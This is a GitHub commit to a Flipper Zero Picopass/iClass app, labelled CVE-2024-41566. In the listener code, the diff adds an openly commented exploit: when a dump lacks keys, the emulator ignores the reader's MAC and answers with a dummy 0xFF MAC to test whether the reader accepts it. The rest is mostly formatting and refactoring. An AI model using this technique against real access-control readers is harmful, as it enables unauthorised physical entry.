Skip to content

Commit

Permalink
CVE-2024-41566: When keys are unknown emulate with a dummy MAC and ig…
Browse files Browse the repository at this point in the history
…nore reader MACs
  • Loading branch information
nvx committed Aug 24, 2024
1 parent 6ef54af commit 0689af8
Show file tree
Hide file tree
Showing 11 changed files with 56 additions and 67 deletions.
6 changes: 3 additions & 3 deletions helpers/iclass_elite_dict.c
Original file line number Diff line number Diff line change
Expand Up @@ -3,14 +3,14 @@
#include <lib/toolbox/args.h>
#include <lib/flipper_format/flipper_format.h>

#define ICLASS_ELITE_DICT_FLIPPER_NAME APP_ASSETS_PATH("iclass_elite_dict.txt")
#define ICLASS_ELITE_DICT_FLIPPER_NAME APP_ASSETS_PATH("iclass_elite_dict.txt")
#define ICLASS_STANDARD_DICT_FLIPPER_NAME APP_ASSETS_PATH("iclass_standard_dict.txt")
#define ICLASS_ELITE_DICT_USER_NAME APP_DATA_PATH("assets/iclass_elite_dict_user.txt")
#define ICLASS_ELITE_DICT_USER_NAME APP_DATA_PATH("assets/iclass_elite_dict_user.txt")

#define TAG "IclassEliteDict"

#define ICLASS_ELITE_KEY_LINE_LEN (17)
#define ICLASS_ELITE_KEY_LEN (8)
#define ICLASS_ELITE_KEY_LEN (8)

struct IclassEliteDict {
Stream* stream;
Expand Down
18 changes: 1 addition & 17 deletions picopass_device.c
Original file line number Diff line number Diff line change
Expand Up @@ -20,17 +20,7 @@ const char unknown_block[] = "?? ?? ?? ?? ?? ?? ?? ??";

PicopassDevice* picopass_device_alloc() {
PicopassDevice* picopass_dev = malloc(sizeof(PicopassDevice));
picopass_dev->dev_data.auth = PicopassDeviceAuthMethodUnset;
picopass_dev->dev_data.pacs.legacy = false;
picopass_dev->dev_data.pacs.se_enabled = false;
picopass_dev->dev_data.pacs.sio = false;
picopass_dev->dev_data.pacs.biometrics = false;
memset(picopass_dev->dev_data.pacs.key, 0, sizeof(picopass_dev->dev_data.pacs.key));
picopass_dev->dev_data.pacs.elite_kdf = false;
picopass_dev->dev_data.pacs.pin_length = 0;
picopass_dev->dev_data.pacs.bitLength = 0;
memset(
picopass_dev->dev_data.pacs.credential, 0, sizeof(picopass_dev->dev_data.pacs.credential));
memset(picopass_dev, 0, sizeof(PicopassDevice));
picopass_dev->storage = furi_record_open(RECORD_STORAGE);
picopass_dev->dialogs = furi_record_open(RECORD_DIALOGS);
picopass_dev->load_path = furi_string_alloc();
Expand Down Expand Up @@ -176,12 +166,6 @@ static bool picopass_device_save_file(
FuriString* temp_str;
temp_str = furi_string_alloc();

if(dev->format == PicopassDeviceSaveFormatPartial) {
// Clear key that may have been set when doing key tests for legacy
memset(card_data[PICOPASS_SECURE_KD_BLOCK_INDEX].data, 0, PICOPASS_BLOCK_LEN);
card_data[PICOPASS_SECURE_KD_BLOCK_INDEX].valid = false;
}

do {
if(use_load_path && !furi_string_empty(dev->load_path)) {
// Get directory name
Expand Down
32 changes: 16 additions & 16 deletions picopass_device.h
Original file line number Diff line number Diff line change
Expand Up @@ -19,35 +19,35 @@
#endif
#define LOCLASS_MACS_TO_COLLECT (LOCLASS_NUM_CSNS * LOCLASS_NUM_PER_CSN)

#define PICOPASS_DEV_NAME_MAX_LEN 129
#define PICOPASS_DEV_NAME_MAX_LEN 129
#define PICOPASS_READER_DATA_MAX_SIZE 64
#define PICOPASS_MAX_APP_LIMIT 32
#define PICOPASS_MAX_APP_LIMIT 32

#define PICOPASS_CSN_BLOCK_INDEX 0
#define PICOPASS_CONFIG_BLOCK_INDEX 1
#define PICOPASS_CSN_BLOCK_INDEX 0
#define PICOPASS_CONFIG_BLOCK_INDEX 1
// These definitions for blocks above 2 only hold for secure cards.
#define PICOPASS_SECURE_EPURSE_BLOCK_INDEX 2
#define PICOPASS_SECURE_KD_BLOCK_INDEX 3
#define PICOPASS_SECURE_KC_BLOCK_INDEX 4
#define PICOPASS_SECURE_AIA_BLOCK_INDEX 5
#define PICOPASS_SECURE_EPURSE_BLOCK_INDEX 2
#define PICOPASS_SECURE_KD_BLOCK_INDEX 3
#define PICOPASS_SECURE_KC_BLOCK_INDEX 4
#define PICOPASS_SECURE_AIA_BLOCK_INDEX 5
// Non-secure cards instead have an AIA at block 2
#define PICOPASS_NONSECURE_AIA_BLOCK_INDEX 2
#define PICOPASS_NONSECURE_AIA_BLOCK_INDEX 2
// Only iClass cards
#define PICOPASS_ICLASS_PACS_CFG_BLOCK_INDEX 6

// Personalization Mode
#define PICOPASS_FUSE_PERS 0x80
#define PICOPASS_FUSE_PERS 0x80
// Crypt1 // 1+1 (crypt1+crypt0) means secured and keys changable
#define PICOPASS_FUSE_CRYPT1 0x10
#define PICOPASS_FUSE_CRYPT1 0x10
// Crypt0 // 1+0 means secure and keys locked, 0+1 means not secured, 0+0 means disable auth entirely
#define PICOPASS_FUSE_CRYPT0 0x08
#define PICOPASS_FUSE_CRYPT0 0x08
#define PICOPASS_FUSE_CRYPT10 (PICOPASS_FUSE_CRYPT1 | PICOPASS_FUSE_CRYPT0)
// Read Access, 1 meanns anonymous read enabled, 0 means must auth to read applicaion
#define PICOPASS_FUSE_RA 0x01
#define PICOPASS_FUSE_RA 0x01

#define PICOPASS_APP_FOLDER ANY_PATH("picopass")
#define PICOPASS_APP_EXTENSION ".picopass"
#define PICOPASS_APP_FILE_PREFIX "Picopass"
#define PICOPASS_APP_FOLDER ANY_PATH("picopass")
#define PICOPASS_APP_EXTENSION ".picopass"
#define PICOPASS_APP_FILE_PREFIX "Picopass"
#define PICOPASS_APP_SHADOW_EXTENSION ".pas"

#define PICOPASS_DICT_KEY_BATCH_SIZE 10
Expand Down
4 changes: 2 additions & 2 deletions picopass_i.h
Original file line number Diff line number Diff line change
Expand Up @@ -41,9 +41,9 @@

#define PICOPASS_TEXT_STORE_SIZE 129

#define PICOPASS_ICLASS_ELITE_DICT_FLIPPER_NAME APP_ASSETS_PATH("iclass_elite_dict.txt")
#define PICOPASS_ICLASS_ELITE_DICT_FLIPPER_NAME APP_ASSETS_PATH("iclass_elite_dict.txt")
#define PICOPASS_ICLASS_STANDARD_DICT_FLIPPER_NAME APP_ASSETS_PATH("iclass_standard_dict.txt")
#define PICOPASS_ICLASS_ELITE_DICT_USER_NAME APP_DATA_PATH("assets/iclass_elite_dict_user.txt")
#define PICOPASS_ICLASS_ELITE_DICT_USER_NAME APP_DATA_PATH("assets/iclass_elite_dict_user.txt")

enum PicopassCustomEvent {
// Reserve first 100 events for button types and indexes, starting from 0
Expand Down
27 changes: 19 additions & 8 deletions protocol/picopass_listener.c
Original file line number Diff line number Diff line change
Expand Up @@ -375,35 +375,46 @@ PicopassListenerCommand
PICOPASS_FUSE_CRYPT10) != PICOPASS_FUSE_CRYPT0;
if(!secured) break;

uint8_t rmac[4] = {};
uint8_t tmac[4] = {};
const uint8_t* key = instance->data->card_data[instance->key_block_num].data;
bool no_key = !instance->data->card_data[instance->key_block_num].valid;
bool have_key = instance->data->card_data[instance->key_block_num].valid;
bool no_data = !instance->data->card_data[PICOPASS_ICLASS_PACS_CFG_BLOCK_INDEX].valid;
const uint8_t* rx_data = bit_buffer_get_data(buf);

if(no_key) {
// We're emulating a partial dump of an iClass SE card and should capture the NR and MAC
if(no_data) {
// We're missing at least the first data block, save MACs for NR-MAC replay.
command = picopass_listener_save_mac(instance, rx_data);
break;
} else {
} else if(have_key) {
uint8_t rmac[4] = {};
uint8_t tmac[4] = {};
loclass_opt_doBothMAC_2(instance->cipher_state, &rx_data[1], rmac, tmac, key);

#ifndef PICOPASS_DEBUG_IGNORE_BAD_RMAC
if(memcmp(&rx_data[5], rmac, PICOPASS_MAC_LEN)) {
// Bad MAC from reader, do not send a response.
FURI_LOG_I(TAG, "Got bad MAC from reader");
// Reset the cipher state since we don't do it in READCHECK
picopass_listener_init_cipher_state(instance);
break;
}
#endif

bit_buffer_copy_bytes(instance->tx_buffer, tmac, sizeof(tmac));
NfcError error = nfc_listener_tx(instance->nfc, instance->tx_buffer);
if(error != NfcErrorNone) {
FURI_LOG_D(TAG, "Failed tx update response: %d", error);
break;
}
} else {
// CVE-2024-41566 Exploit: The dump has no key, ignore the reader mac
// and a dummy response to see if the reader accepts it anyway
bit_buffer_reset(instance->tx_buffer);
for(size_t j = 0; j < 4; j++) {
bit_buffer_append_byte(instance->tx_buffer, 0xff);
}
NfcError error = nfc_listener_tx(instance->nfc, instance->tx_buffer);
if(error != NfcErrorNone) {
FURI_LOG_D(TAG, "Failed tx update response: %d", error);
break;
}
}

command = PicopassListenerCommandProcessed;
Expand Down
16 changes: 5 additions & 11 deletions protocol/picopass_poller.c
Original file line number Diff line number Diff line change
Expand Up @@ -313,15 +313,6 @@ NfcCommand picopass_poller_nr_mac_auth(PicopassPoller* instance) {
if(instance->mode == PicopassPollerModeRead) {
picopass_poller_prepare_read(instance);
instance->state = PicopassPollerStateReadBlock;
// Set to non-zero keys to allow emulation
memset(
instance->data->card_data[PICOPASS_SECURE_KD_BLOCK_INDEX].data,
0xff,
PICOPASS_BLOCK_LEN);
memset(
instance->data->card_data[PICOPASS_SECURE_KC_BLOCK_INDEX].data,
0xff,
PICOPASS_BLOCK_LEN);
}
}

Expand Down Expand Up @@ -431,9 +422,12 @@ NfcCommand picopass_poller_read_block_handler(PicopassPoller* instance) {
break;
}

if(instance->secured && instance->current_block == PICOPASS_SECURE_KD_BLOCK_INDEX) {
// Skip over Kd block which is populated earlier (READ of Kd returns all FF's)
if(instance->secured && (instance->current_block == PICOPASS_SECURE_KD_BLOCK_INDEX ||
instance->current_block == PICOPASS_SECURE_KC_BLOCK_INDEX)) {
// Kd and Kc blocks cannot be read (card always returns FF's)
// Key blocks we authed as would have been already set earlier
instance->current_block++;
continue;
}

PicopassBlock block = {};
Expand Down
2 changes: 1 addition & 1 deletion protocol/picopass_poller_i.h
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@
#include <nfc/helpers/iso13239_crc.h>

#define PICOPASS_POLLER_BUFFER_SIZE (255)
#define PICOPASS_CRC_SIZE (2)
#define PICOPASS_CRC_SIZE (2)

typedef enum {
PicopassPollerSessionStateIdle,
Expand Down
12 changes: 6 additions & 6 deletions protocol/picopass_protocol.h
Original file line number Diff line number Diff line change
Expand Up @@ -2,13 +2,13 @@

#include "../picopass_device.h"

#define PICOPASS_BLOCK_LEN 8
#define PICOPASS_MAX_APP_LIMIT 32
#define PICOPASS_UID_LEN 8
#define PICOPASS_BLOCK_LEN 8
#define PICOPASS_MAX_APP_LIMIT 32
#define PICOPASS_UID_LEN 8
#define PICOPASS_READ_CHECK_RESP_LEN 8
#define PICOPASS_CHECK_RESP_LEN 4
#define PICOPASS_MAC_LEN 4
#define PICOPASS_KEY_LEN 8
#define PICOPASS_CHECK_RESP_LEN 4
#define PICOPASS_MAC_LEN 4
#define PICOPASS_KEY_LEN 8

#define PICOPASS_FDT_LISTEN_FC (1000)

Expand Down
2 changes: 1 addition & 1 deletion rfal_picopass.h
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
#include <furi_hal_nfc.h>

#define RFAL_PICOPASS_UID_LEN 8
#define PICOPASS_BLOCK_LEN 8
#define PICOPASS_BLOCK_LEN 8

enum {
// PicoPass command bytes:
Expand Down
2 changes: 1 addition & 1 deletion scenes/picopass_scene_elite_keygen_attack.c
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
#include "../picopass_elite_keygen.h"

#define PICOPASS_SCENE_DICT_ATTACK_KEYS_BATCH_UPDATE (10)
#define PICOPASS_SCENE_ELITE_KEYGEN_ATTACK_LIMIT (2000)
#define PICOPASS_SCENE_ELITE_KEYGEN_ATTACK_LIMIT (2000)

NfcCommand picopass_elite_keygen_attack_worker_callback(PicopassPollerEvent event, void* context) {
furi_assert(context);
Expand Down
2 changes: 1 addition & 1 deletion scenes/picopass_scene_write_card.c
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
#include "../picopass_keys.h"

#define PICOPASS_SCENE_WRITE_BLOCK_START 6
#define PICOPASS_SCENE_WRITE_BLOCK_STOP 10
#define PICOPASS_SCENE_WRITE_BLOCK_STOP 10

NfcCommand picopass_scene_write_poller_callback(PicopassPollerEvent event, void* context) {
Picopass* picopass = context;
Expand Down

0 comments on commit 0689af8

Please sign in to comment.